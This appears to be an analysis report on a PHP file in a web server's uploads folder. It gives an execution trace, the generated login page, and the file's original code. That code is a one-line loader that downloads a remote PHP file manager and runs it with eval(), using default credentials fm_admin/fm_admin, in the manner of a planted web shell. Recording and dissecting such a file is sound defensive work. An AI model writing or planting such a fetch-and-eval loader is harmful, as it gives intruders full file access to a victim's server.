#ddd;background-color:#fff}\n.message.ok{border-color:green;color:green}\n.message.error{border-color:red;color:red}\n.message.alert{border-color:orange;color:orange}\n.btn{border:0;background:none;padding:0;margin:0;font-weight:bold;color:#296ea3;cursor:pointer}.btn:hover{color:#b00}\n.preview-img{max-width:100%;background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC") repeat 0 0}\n.preview-video{position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px}.preview-video video{position:absolute;width:100%;height:100%;left:0;top:0;background:#000}\n[class*="icon-"]{display:inline-block;width:16px;height:16px;background:url("<?php echo FM_SELF_URL ?>?img=sprites&amp;t=<?php echo $sprites_ver ?>") no-repeat 0 0;vertical-align:bottom}\n.icon-document{background-position:-16px 0}.icon-folder{background-position:-32px 0}\n.icon-folder_add{background-position:-48px 0}.icon-upload{background-position:-64px 0}\n.icon-arrow_up{background-position:-80px 0}.icon-home{background-position:-96px 0}\n.icon-separator{background-position:-112px 0}.icon-cross{background-position:-128px 0}\n.icon-copy{background-position:-144px 0}.icon-apply{background-position:-160px 0}\n.icon-cancel{background-position:-176px 0}.icon-rename{background-position:-192px 0}\n.icon-checkbox{background-position:-208px 0}.icon-checkbox_invert{background-position:-224px 0}\n.icon-checkbox_uncheck{background-position:-240px 0}.icon-download{background-position:-256px 0}\n.icon-goback{background-position:-272px 0}.icon-folder_open{background-position:-288px 0}\n.icon-file_application{background-position:0 -16px}.icon-file_code{background-position:-16px -16px}\n.icon-file_csv{background-position:-32px -16px}.icon-file_excel{background-position:-48px -16px}\n.icon-file_film{background-position:-64px -16px}.icon-file_flash{background-position:-80px -16px}\n.icon-file_font{background-position:-96px -16px}.icon-file_html{background-position:-112px -16px}\n.icon-file_illustrator{background-position:-128px -16px}.icon-file_image{background-position:-144px -16px}\n.icon-file_music{background-position:-160px -16px}.icon-file_outlook{background-position:-176px -16px}\n.icon-file_pdf{background-position:-192px -16px}.icon-file_photoshop{background-position:-208px -16px}\n.icon-file_php{background-position:-224px -16px}.icon-file_playlist{background-position:-240px -16px}\n.icon-file_powerpoint{background-position:-256px -16px}.icon-file_swf{background-position:-272px -16px}\n.icon-file_terminal{background-position:-288px -16px}.icon-file_text{background-position:-304px -16px}\n.icon-file_word{background-position:-320px -16px}.icon-file_zip{background-position:-336px -16px}\n.icon-logout{background-position:-304px 0}.icon-chain{background-position:-320px 0}\n.icon-link_folder{background-position:-352px -16px}.icon-link_file{background-position:-368px -16px}\n.compact-table{border:0;width:auto}.compact-table td,.compact-table th{width:100px;border:0;text-align:center}.compact-table tr:hover td{background-color:#fff}\n.filename{max-width:420px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}\n.break-word{word-wrap:break-word}\n</style>\n<link rel="icon" href="<?php echo FM_SELF_URL ?>?img=favicon" type="image/png">\n<link rel="shortcut icon" href="<?php echo FM_SELF_URL ?>?img=favicon" type="image/png">\n<?php if (isset($_GET[\'view\']) && FM_USE_HIGHLIGHTJS): ?>\n<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.2.0/styles/<?php echo FM_HIGHLIGHTJS_STYLE ?>.min.css">\n<?php endif; ?>\n</head>\n<body>\n<div id="wrapper">\n<?php\n}\n\n/**\n * Show page footer\n */\nfunction fm_show_footer()\n{\n    ?>\n<p class="center"><small><a href="https://github.com/alexantr/filemanager" target="_blank">PHP File Manager</a></small></p>\n</div>\n<script>\nfunction newfolder(p){var n=prompt(\'New folder name\',\'folder\');if(n!==null&&n!==\'\'){window.location.search=\'p=\'+encodeURIComponent(p)+\'&new=\'+encodeURIComponent(n);}}\nfunction rename(p,f){var n=prompt(\'New name\',f);if(n!==null&&n!==\'\'&&n!=f){window.location.search=\'p=\'+encodeURIComponent(p)+\'&ren=\'+encodeURIComponent(f)+\'&to=\'+encodeURIComponent(n);}}\nfunction change_checkboxes(l,v){for(var i=l.length-1;i>=0;i--){l[i].checked=(typeof v===\'boolean\')?v:!l[i].checked;}}\nfunction get_checkboxes(){var i=document.getElementsByName(\'file[]\'),a=[];for(var j=i.length-1;j>=0;j--){if(i[j].type=\'checkbox\'){a.push(i[j]);}}return a;}\nfunction select_all(){var l=get_checkboxes();change_checkboxes(l,true);}\nfunction unselect_all(){var l=get_checkboxes();change_checkboxes(l,false);}\nfunction invert_all(){var l=get_checkboxes();change_checkboxes(l);}\nfunction checkbox_toggle(){var l=get_checkboxes();l.push(this);change_checkboxes(l);}\n</script>\n<?php if (isset($_GET[\'view\']) && FM_USE_HIGHLIGHTJS): ?>\n<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.2.0/highlight.min.js"></script>\n<script>hljs.initHighlightingOnLoad();</script>\n<?php endif; ?>\n</body>\n</html>\n<?php\n}\n\n/**\n * Show image\n * @param string $img\n */\nfunction fm_show_image($img)\n{\n    $modified_time = gmdate(\'D, d M Y 00:00:00\') . \' GMT\';\n    $expires_time = gmdate(\'D, d M Y 00:00:00\', strtotime(\'+1 day\')) . \' GMT\';\n\n    $img = trim($img);\n    $images = fm_get_images();\n    $image = \'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAEElEQVR42mL4//8/A0CAAQAI/AL+26JNFgAAAABJRU5ErkJggg==\';\n    if (isset($images[$img])) {\n        $image = $images[$img];\n    }\n    $image = base64_decode($image);\n    if (function_exists(\'mb_strlen\')) {\n        $size = mb_strlen($image, \'8bit\');\n    } else {\n        $size = strlen($image);\n    }\n\n    if (function_exists(\'header_remove\')) {\n        header_remove(\'Cache-Control\');\n        header_remove(\'Pragma\');\n    } else {\n        header(\'Cache-Control:\');\n        header(\'Pragma:\');\n    }\n\n    header(\'Last-Modified: \' . $modified_time, true, 200);\n    header(\'Expires: \' . $expires_time);\n    header(\'Content-Length: \' . $size);\n    header(\'Content-Type: image/png\');\n    echo $image;\n\n    exit;\n}\n\n/**\n * Get base64-encoded images\n * @return array\n */\nfunction fm_get_images()\n{\n    return array(\n        \'favicon\' => \'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ\nbWFnZVJlYWR5ccllPAAAAZVJREFUeNqkk79Lw0AUx1+uidTQim4Waxfpnl1BcHMR6uLkIF0cpYOI\nf4KbOFcRwbGTc0HQSVQQXCqlFIXgFkhIyvWS870LaaPYH9CDy8vdfb+fey930aSUMEvT6VHVzw8x\nrKUX3N3Hj/8M+cZ6GcOtBPl6KY5iAA7KJzfVWrfbhUKhALZtQ6myDf1+X5nsuzjLUmUOnpa+v5r1\nZ4ZDDfsLiwER45xDEATgOI6KntfDd091GidzC8vZ4vH1QQ09+4MSMAMWRREKPMhmsyr6voYmrnb2\nPKEizdEabUaeFCDKCCHAdV0wTVNFznMgpVqGlZ2cipzHGtKSZwCIZJgJwxB38KHT6Sjx21V75Jcn\nLXmGAKTRpGVZUx2dAqQzSEqw9kqwuGqONTufPrw37D8lQFxCvjgPXIixANLEGfwuQacMOC4kZz+q\nGdhJS550BjpRCdCbAJCMJRkMASEIg+4Bxz4JwAwDSEueAYDLIM+QrOk6GHiRxjXSkJY8KUCvdXZ6\nkbuvNx+mOcbN9taGBlpLAWf9nX8EGADoCfqkKWV/cgAAAABJRU5ErkJggg==\',\n        \'sprites\' => \'iVBORw0KGgoAAAANSUhEUgAAAYAAAAAgCAMAAAAscl/XAAAC/VBMVEUAAABUfn4KKipIcXFSeXsx\nVlZSUlNAZ2c4Xl4lSUkRDg7w8O/d3d3LhwAWFhYXODgMLCx8fHw9PT2TtdOOAACMXgE8lt+dmpq+\nfgABS3RUpN+VUycuh9IgeMJUe4C5dUI6meKkAQEKCgoMWp5qtusJmxSUPgKudAAXCghQMieMAg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5BAzDWow8Bh6OerxdLDDgGHDE/eb9oAsp+itxvqaw4QaCi\nEh1HXz2DFGfOHp+FGo7RCyuUONI7nZ7MWNzpRLwhj/NE3GRKfp9Iilyv0XVpuqr0iPfk8ZbQj/2E\n/v/4kQIu+BODhwYhjgaAN9oHeqV6L/0YLwv5tu7dAXCYJfthtg22tPA8yrUicFHlfDCATKYD+o/a\n74QBoPVHjuJnAOIwAAy/JD9Fk37K/auif0L6LRc38IfjNQRO8AOoYRthhuxJCyTY/wwjaKZpCS/4\nBaBnG+NDQ/FGFvEt5zGSRNz4fSPgu8D1XTqdblCnR3zxW4yHhP7j2M/fT09dTgnr8w1DfFEfRhj0\nSvXWvMTwYa7gb8yA97/unQ59F5oBJnsUI6KcDz0B0H/+7S8MwG6DR8Bhd6D4Jj9GQlqPogk/JZs9\nK/gn5H40e7aL7oToUYAfYMvUnMw40Gkw4Q80O6XcLMRZFgYwxrKl4saJjabqjRMCf6QDdOkeldJ/\nBfSnrvWLcWgYxGX6KfPswEKLZVL6yrgXvv6g9uMBoDic3B/9e36KLvDNS7TZ7K3sGdE/wfoqDQD9\nNGG+9AmYL/MDRM5iLo9nqDEYAJWRx5U5o+3SaHRaplS8H+Faf78Yh4bJ8k2Vz24qgJldXj8/DkCf\nwDy8fH/sdpujTD2KxhxM/ueA249E/wTru/Dfl05bPkeC5TI/QOAvbJjL47TnI8BDy+KlOJPV6bJM\nyfg3wNf+r99KxafOibNu5IQvKKsv2x9lTtEFvmGlXq9/rFeL/gnWD2kB6KcwcpB+wP/IyeP2svqp\n9oeiCT9Fr1cL/gmp125aUc4P+B85iX+qJ/la0k/Ze0D0T0j93jXTpv0BYUGhQhdSooYAAAAASUVO\nRK5CYII=\',\n    );\n}\n'	/var/www/html/uploads/mgr.php	1	0
2		A						/var/www/html/uploads/mgr.php(1) : eval()'d code	8	$use_auth = TRUE
2		A						/var/www/html/uploads/mgr.php(1) : eval()'d code	12	$auth_users = ['fm_admin' => 'fm_admin']
2		A						/var/www/html/uploads/mgr.php(1) : eval()'d code	16	$use_highlightjs = TRUE
2		A						/var/www/html/uploads/mgr.php(1) : eval()'d code	19	$highlightjs_style = 'vs'
2		A						/var/www/html/uploads/mgr.php(1) : eval()'d code	22	$default_timezone = 'Europe/Minsk'
2		A						/var/www/html/uploads/mgr.php(1) : eval()'d code	25	$root_path = '/var/www/html'
2		A						/var/www/html/uploads/mgr.php(1) : eval()'d code	29	$root_url = ''
2		A						/var/www/html/uploads/mgr.php(1) : eval()'d code	32	$http_host = 'localhost'
2		A						/var/www/html/uploads/mgr.php(1) : eval()'d code	35	$iconv_input_encoding = 'CP1251'
2		A						/var/www/html/uploads/mgr.php(1) : eval()'d code	38	$datetime_format = 'd.m.y H:i'
3	6	0	0.051464	881600	set_time_limit	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	46	1	600
3	6	1	0.051484	881664
3	6	R			FALSE
3	7	0	0.051499	881632	date_default_timezone_set	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	48	1	'Europe/Minsk'
3	7	1	0.051517	881696
3	7	R			TRUE
3	8	0	0.051530	881648	ini_set	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	50	2	'default_charset'	'UTF-8'
3	8	1	0.051546	881752
3	8	R			'UTF-8'
3	9	0	0.051560	881648	version_compare	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	51	3	'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'	'5.6.0'	'<'
3	9	1	0.051578	881744
3	9	R			FALSE
3	10	0	0.051591	881648	function_exists	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	54	1	'mb_regex_encoding'
3	10	1	0.051606	881688
3	10	R			FALSE
3	11	0	0.051619	881648	session_cache_limiter	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	58	1	''
3	11	1	0.051634	881720
3	11	R			'nocache'
3	12	0	0.051648	881648	session_name	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	59	1	'filemanager'
3	12	1	0.051663	881720
3	12	R			'PHPSESSID'
3	13	0	0.051677	881648	session_start	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	60	0
3	13	1	0.051748	882160
3	13	R			TRUE
2		A						/var/www/html/uploads/mgr.php(1) : eval()'d code	68	$is_https = FALSE
3	14	0	0.051777	882160	rtrim	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	71	2	'/var/www/html'	'\\/'
3	14	1	0.051792	882232
3	14	R			'/var/www/html'
2		A						/var/www/html/uploads/mgr.php(1) : eval()'d code	71	$root_path = '/var/www/html'
3	15	0	0.051818	882160	str_replace	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	72	3	'\\'	'/'	'/var/www/html'
3	15	1	0.051834	882256
3	15	R			'/var/www/html'
2		A						/var/www/html/uploads/mgr.php(1) : eval()'d code	72	$root_path = '/var/www/html'
3	16	0	0.051859	882160	is_dir	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	73	1	'/var/www/html'
3	16	1	0.051877	882216
3	16	R			TRUE
3	17	0	0.051891	882176	fm_clean_path	1		/var/www/html/uploads/mgr.php(1) : eval()'d code	79	1	''
4	18	0	0.051905	882176	trim	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	1260	1	''
4	18	1	0.051918	882208
4	18	R			''
3		A						/var/www/html/uploads/mgr.php(1) : eval()'d code	1260	$path = ''
4	19	0	0.051942	882176	trim	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	1261	2	''	'\\/'
4	19	1	0.051955	882248
4	19	R			''
3		A						/var/www/html/uploads/mgr.php(1) : eval()'d code	1261	$path = ''
4	20	0	0.051983	882176	str_replace	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	1262	3	[0 => '../', 1 => '..\\']	''	''
4	20	1	0.052000	882272
4	20	R			''
3		A						/var/www/html/uploads/mgr.php(1) : eval()'d code	1262	$path = ''
4	21	0	0.052023	882176	str_replace	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	1266	3	'\\'	'/'	''
4	21	1	0.052038	882272
4	21	R			''
3	17	1	0.052051	882176
3	17	R			''
2		A						/var/www/html/uploads/mgr.php(1) : eval()'d code	79	$root_url = ''
3	22	0	0.052074	882176	define	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	82	2	'FM_ROOT_PATH'	'/var/www/html'
3	22	1	0.052089	882280
3	22	R			TRUE
3	23	0	0.052104	882256	define	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	83	2	'FM_ROOT_URL'	'http://localhost'
3	23	1	0.052119	882360
3	23	R			TRUE
3	24	0	0.052133	882352	define	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	84	2	'FM_SELF_URL'	'http://localhost/uploads/mgr.php'
3	24	1	0.052148	882456
3	24	R			TRUE
3	25	0	0.052163	882384	fm_show_header	1		/var/www/html/uploads/mgr.php(1) : eval()'d code	116	0
3		A						/var/www/html/uploads/mgr.php(1) : eval()'d code	1707	$sprites_ver = '20160315'
4	26	0	0.052187	882384	header	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	1708	1	'Content-Type: text/html; charset=utf-8'
4	26	1	0.052204	882560
4	26	R			NULL
4	27	0	0.052216	882528	header	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	1709	1	'Expires: Sat, 26 Jul 1997 05:00:00 GMT'
4	27	1	0.052233	882640
4	27	R			NULL
4	28	0	0.052245	882608	header	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	1710	1	'Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0'
4	28	1	0.052263	882760
4	28	R			NULL
4	29	0	0.052276	882728	header	0		/var/www/html/uploads/mgr.php(1) : eval()'d code	1711	1	'Pragma: no-cache'
4	29	1	0.052290	882824
4	29	R			NULL
3	25	1	0.052312	882760
3	30	0	0.052319	882760	fm_show_message	1		/var/www/html/uploads/mgr.php(1) : eval()'d code	117	0
3	30	1	0.052333	882760
3	31	0	0.052340	882760	fm_show_footer	1		/var/www/html/uploads/mgr.php(1) : eval()'d code	127	0
3	31	1	0.052353	882760
			0.052386	803088
TRACE END   [2023-02-13 01:04:04.298887]


Generated HTML code

<html><head>
<meta charset="utf-8">
<title>PHP File Manager</title>
<style>
html,body,div,span,p,pre,a,code,em,img,small,strong,ol,ul,li,form,label,table,tr,th,td{margin:0;padding:0;vertical-align:baseline;outline:none;font-size:100%;background:transparent;border:none;text-decoration:none}
html{overflow-y:scroll}body{padding:0;font:13px/16px Tahoma,Arial,sans-serif;color:#222;background:#efefef}
input,select,textarea,button{font-size:inherit;font-family:inherit}
a{color:#296ea3;text-decoration:none}a:hover{color:#b00}img{vertical-align:middle;border:none}
a img{border:none}span.gray{color:#777}small{font-size:11px;color:#999}p{margin-bottom:10px}
ul{margin-left:2em;margin-bottom:10px}ul{list-style-type:none;margin-left:0}ul li{padding:3px 0}
table{border-collapse:collapse;border-spacing:0;margin-bottom:10px;width:100%}
th,td{padding:4px 7px;text-align:left;vertical-align:top;border:1px solid #ddd;background:#fff;white-space:nowrap}
th,td.gray{background-color:#eee}td.gray span{color:#222}
tr:hover td{background-color:#f5f5f5}tr:hover td.gray{background-color:#eee}
code,pre{display:block;margin-bottom:10px;font:13px/16px Consolas,'Courier New',Courier,monospace;border:1px dashed #ccc;padding:5px;overflow:auto}
pre.with-hljs{padding:0}
pre.with-hljs code{margin:0;border:0;overflow:visible}
code.maxheight,pre.maxheight{max-height:512px}input[type="checkbox"]{margin:0;padding:0}
#wrapper{max-width:1000px;min-width:400px;margin:10px auto}
.path{padding:4px 7px;border:1px solid #ddd;background-color:#fff;margin-bottom:10px}
.right{text-align:right}.center{text-align:center}.float-right{float:right}
.message{padding:4px 7px;border:1px solid #ddd;background-color:#fff}
.message.ok{border-color:green;color:green}
.message.error{border-color:red;color:red}
.message.alert{border-color:orange;color:orange}
.btn{border:0;background:none;padding:0;margin:0;font-weight:bold;color:#296ea3;cursor:pointer}.btn:hover{color:#b00}
.preview-img{max-width:100%;background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC") repeat 0 0}
.preview-video{position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px}.preview-video video{position:absolute;width:100%;height:100%;left:0;top:0;background:#000}
[class*="icon-"]{display:inline-block;width:16px;height:16px;background:url("http://localhost/mgr.php?img=sprites&amp;t=20160315") no-repeat 0 0;vertical-align:bottom}
.icon-document{background-position:-16px 0}.icon-folder{background-position:-32px 0}
.icon-folder_add{background-position:-48px 0}.icon-upload{background-position:-64px 0}
.icon-arrow_up{background-position:-80px 0}.icon-home{background-position:-96px 0}
.icon-separator{background-position:-112px 0}.icon-cross{background-position:-128px 0}
.icon-copy{background-position:-144px 0}.icon-apply{background-position:-160px 0}
.icon-cancel{background-position:-176px 0}.icon-rename{background-position:-192px 0}
.icon-checkbox{background-position:-208px 0}.icon-checkbox_invert{background-position:-224px 0}
.icon-checkbox_uncheck{background-position:-240px 0}.icon-download{background-position:-256px 0}
.icon-goback{background-position:-272px 0}.icon-folder_open{background-position:-288px 0}
.icon-file_application{background-position:0 -16px}.icon-file_code{background-position:-16px -16px}
.icon-file_csv{background-position:-32px -16px}.icon-file_excel{background-position:-48px -16px}
.icon-file_film{background-position:-64px -16px}.icon-file_flash{background-position:-80px -16px}
.icon-file_font{background-position:-96px -16px}.icon-file_html{background-position:-112px -16px}
.icon-file_illustrator{background-position:-128px -16px}.icon-file_image{background-position:-144px -16px}
.icon-file_music{background-position:-160px -16px}.icon-file_outlook{background-position:-176px -16px}
.icon-file_pdf{background-position:-192px -16px}.icon-file_photoshop{background-position:-208px -16px}
.icon-file_php{background-position:-224px -16px}.icon-file_playlist{background-position:-240px -16px}
.icon-file_powerpoint{background-position:-256px -16px}.icon-file_swf{background-position:-272px -16px}
.icon-file_terminal{background-position:-288px -16px}.icon-file_text{background-position:-304px -16px}
.icon-file_word{background-position:-320px -16px}.icon-file_zip{background-position:-336px -16px}
.icon-logout{background-position:-304px 0}.icon-chain{background-position:-320px 0}
.icon-link_folder{background-position:-352px -16px}.icon-link_file{background-position:-368px -16px}
.compact-table{border:0;width:auto}.compact-table td,.compact-table th{width:100px;border:0;text-align:center}.compact-table tr:hover td{background-color:#fff}
.filename{max-width:420px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
.break-word{word-wrap:break-word}
</style>
<link rel="icon" href="http://localhost/mgr.php?img=favicon" type="image/png">
<link rel="shortcut icon" href="http://localhost/mgr.php?img=favicon" type="image/png">
</head>
<body>
<div id="wrapper">
        <div class="path">
            <form action="" method="post" style="margin:10px;text-align:center">
                <input name="fm_usr" value="" placeholder="Username" required="">
                <input type="password" name="fm_pwd" value="" placeholder="Password" required="">
                <input type="submit" value="Login">
            </form>
        </div>
        <p class="center"><small><a href="https://github.com/alexantr/filemanager" target="_blank">PHP File Manager</a></small></p>
</div>
<script>
function newfolder(p){var n=prompt('New folder name','folder');if(n!==null&&n!==''){window.location.search='p='+encodeURIComponent(p)+'&new='+encodeURIComponent(n);}}
function rename(p,f){var n=prompt('New name',f);if(n!==null&&n!==''&&n!=f){window.location.search='p='+encodeURIComponent(p)+'&ren='+encodeURIComponent(f)+'&to='+encodeURIComponent(n);}}
function change_checkboxes(l,v){for(var i=l.length-1;i>=0;i--){l[i].checked=(typeof v==='boolean')?v:!l[i].checked;}}
function get_checkboxes(){var i=document.getElementsByName('file[]'),a=[];for(var j=i.length-1;j>=0;j--){if(i[j].type='checkbox'){a.push(i[j]);}}return a;}
function select_all(){var l=get_checkboxes();change_checkboxes(l,true);}
function unselect_all(){var l=get_checkboxes();change_checkboxes(l,false);}
function invert_all(){var l=get_checkboxes();change_checkboxes(l);}
function checkbox_toggle(){var l=get_checkboxes();l.push(this);change_checkboxes(l);}
</script>


</body></html>

Original PHP code

<?php eval("?>".file_get_contents("https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php"));?>